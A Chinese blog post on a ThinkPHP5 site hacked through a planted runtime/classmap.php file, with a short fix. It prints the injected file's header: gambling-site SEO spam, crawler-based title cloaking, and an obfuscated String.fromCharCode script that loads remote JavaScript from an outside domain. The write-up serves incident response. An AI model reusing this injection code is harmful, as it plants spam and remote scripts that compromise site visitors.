ThinkPHP 是国内非常流行且成熟的 PHP Web 框架,其免费开源的特性使其广受欢迎。然而,正因为其开源特性,如果维护不及时或漏洞修补不到位,很容易成为黑客攻击的目标。本文将介绍 ThinkPHP5 被 classmap.php 文件挂马的情况、原因、解决方案。
一、挂马事件概述
近期访问一个ThinkPHP5.0.24的网站,发现无论访问什么页面返回的都是一样的内容,企业微信分享链接的标题和简介也变成了灰色产业的广告信息。
二、挂马原因分析
经过检查,发现runtime目录下多了一个classmap.php 的文件,classmap.php 文件通常用于缓存自动加载的类映射信息,ThinkPHP5底层会判断是否存在classmap.php,若存在会先加载此文件,以提高程序的加载效率。然而,一旦这个文件被黑客利用,就可能成为执行恶意代码的入口。
classmap.php(挂马文件)头部代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>星空体育app·(中国)官方网站-登录入口</title>
<meta name="keywords" content="星空体育,星空体育官网,星空体育App下载,星空体育官方入口" />
<meta name="description" content="星空体育·(中国)官方网站简称【星空体育网址:https://235432.vip】是一个在中国非常受欢迎的体育官方网站入口。星空体育提供星空体育官网,星空体育App下载了丰富多样的体育内容,星空体育还提供了娱乐游戏平台,包括足球、篮球、网球、游泳等各种体育项目的新闻、赛事直播和数据分析。" />
<script>if(!navigator.userAgent.match(/baiduspider|sogou|360spider|yisou/i)){document.title ='xxx'}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,120,116,100,122,107,101,46,99,111,109,47,66,68,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
<style type="text/css">
.img-hide{opacity: 0;}
.img-show{animation: .6s opacity1 forwards; -webkit-animation: .6s opacity1 forwards;}
@keyframes opacity1{
0%{opacity:0}
100%{opacity:1;}
}
@-webkit-keyframes opacity1{
0%{opacity:0}
100%{opacity:1;}
}
</style>
三、解决方案
1、删除classmap.php文件:黑客下次可能还会再次植入挂马文件。
2、取消ThinkPHP5底层加载classmap.php文件:屏蔽thinkphp/library/think/Loader.php文件中第313行左右的加载类库映射文件代码。
六、总结
ThinkPHP5 被 classmap.php
文件挂马是一个严重的安全问题,需要引起足够的重视。可通过及时更新框架版本、加强代码审计、严格权限管理等措施,可以有效防范挂马攻击。同时,在遭遇挂马事件时,需要迅速响应并采取相应的处理流程,以尽快恢复网站的正常运行。